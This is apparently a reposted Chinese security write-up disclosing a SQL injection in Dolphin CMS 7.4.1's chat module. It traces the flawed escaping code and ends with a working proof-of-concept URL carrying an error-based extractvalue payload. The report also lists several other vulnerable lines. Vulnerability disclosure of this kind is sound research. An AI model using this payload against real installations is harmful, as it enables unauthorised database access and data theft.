作者:简单点。Le.xie
CMS官网地址:https://www.boonex.com/
GITHUB:https://github.com/boonex/dolphin.pro/releases/tag/7.4.1
版本:Dolphin-v.7.4.1
Dolphin是一个网络软件平台,你可以下载并使用它来建立你自己的利基社交网络、社区网站、在线俱乐部或基于兴趣的社交网站。
代码分析:
1./flash/modules/chat/inc/actions.inc.php Line 120
Line10:$sId = isset($_REQUEST['id']) ? process_db_input($_REQUEST['id']) : ""; ...... Line120:case 'RzSetBlocked': $sUser = isset($_REQUEST['user']) ? process_db_input($_REQUEST['user']) : ""; die($sUser); $bBlocked = isset($_REQUEST['blocked']) ? $_REQUEST['blocked'] == TRUE_VAL : false; blockUser($sId, $sUser, $bBlocked); break;
在获取id、user参数时,会调用process_db_input()函数进行处理入参。
2.跟踪到process_db_input()函数:
function process_db_input($sText, $iStripTags = 0) { if (is_array($sText)) { foreach ($sText as $k => $v) { $sText[$k] = process_db_input($v, $iStripTags); } return $sText; } $oDb = BxDolDb::getInstance(); switch ($iStripTags) { case BX_TAGS_STRIP_AND_NL2BR: return $oDb->escape(nl2br(strip_tags($sText)), false); case BX_TAGS_STRIP: return $oDb->escape(strip_tags($sText), false); case BX_TAGS_SPECIAL_CHARS: return $oDb->escape(htmlspecialchars($sText, ENT_QUOTES, 'UTF-8'), false); case BX_TAGS_VALIDATE: return $oDb->escape(clear_xss($sText), false); case BX_TAGS_NO_ACTION: default: return $oDb->escape($sText, false); //调用escape函数 } }
从上面代码中可以看到,process_db_input第二个参数为空,会走到defalut分支,接着调用escape函数。
3.跟踪到escape()函数:
public function escape($sText, $bReal = true) { $pdoEscapted = $this->link->quote($sText); //为' " \ NULL 等转移\' \\.. if ($bReal) { return $pdoEscapted; } // don't need the actual quotes pdo adds, so it // behaves kinda like mysql_real_escape_string // p.s. things we do for legacy code return trim($pdoEscapted, "'"); //去掉首尾出现的' }
示例:admin' --> quote() --> 'admin\''
'admin\'' --> trim(,"'") --> admin\
4.回到步骤1,调用blockUser()函数,跟踪进去:
function blockUser($iUserId, $iBlockedId, $bBlock) { bx_import('BxDolAlerts'); if($bBlock) { //如果$bBlock为true getResult("REPLACE INTO `sys_block_list` SET `ID` = '" . $iUserId . "', `Profile` = '" . $iBlockedId . "'"); $oZ = new BxDolAlerts('block', 'add', $iBlockedId, $iUserId); } else { getResult("DELETE FROM `sys_block_list` WHERE `ID` = '" . $iUserId . "' AND `Profile` = '" . $iBlockedId . "'"); $oZ = new BxDolAlerts('block', 'delete', $iBlockedId, $iUserId); } $oZ->alert(); }
这里参数采用拼接的方式组装,最终带入数据库查询。
这里需要三个参数,$iUserId, $iBlockedId, $bBlock,当$bBlock为true时,调用
getResult("REPLACE INTO `sys_block_list` SET `ID` = '" . $iUserId . "', `Profile` = '" . $iBlockedId . "'");
当前端请求:id=admin%27&user=%2bextractvalue(1,concat(0x7e,user()))%23&blocked=true
由步骤3可知:id=admin%27 --> process_db_input() --> admin\
user=%2bextractvalue(1,concat(0x7e,user()))%23 --> process_db_input() --> +extractvalue(1,concat(0x7e,user()))#
参数带入blockUser()后,拼接的SQL语句是:
REPLACE INTO `sys_block_list` SET `ID` = 'admin\', `Profile` = '+extractvalue(1,concat(0x7e,user()))#'
这样成功的绕过quote()函数对特殊字符的转义,绕过防护达到SQL注入的目的。
其他类似的两个参数拼接的地方有很多,这里列举几个点:
/flash/modules/chat/inc/actions.inc.php Line 137 /flash/modules/chat/inc/actions.inc.php Line 156 /flash/modules/chat/inc/actions.inc.php Line 180 /flash/modules/chat/inc/actions.inc.php Line 198 /flash/modules/chat/inc/actions.inc.php Line 210
POC:
http://localhost/flash/XML.php?module=chat&app=1&action=RzSetBlocked&id=admin%27&user=%2bextractvalue(1,concat(0x7e,user()))%23&blocked=true
在tmp/error.log文件中,可以看到报错的信息
至发稿前,官方已升级到7.4.2版本,问题已经修复。
来源:freebuf.com 2019-04-26 12:01:37 by: 08sec团队
请登录后发表评论
注册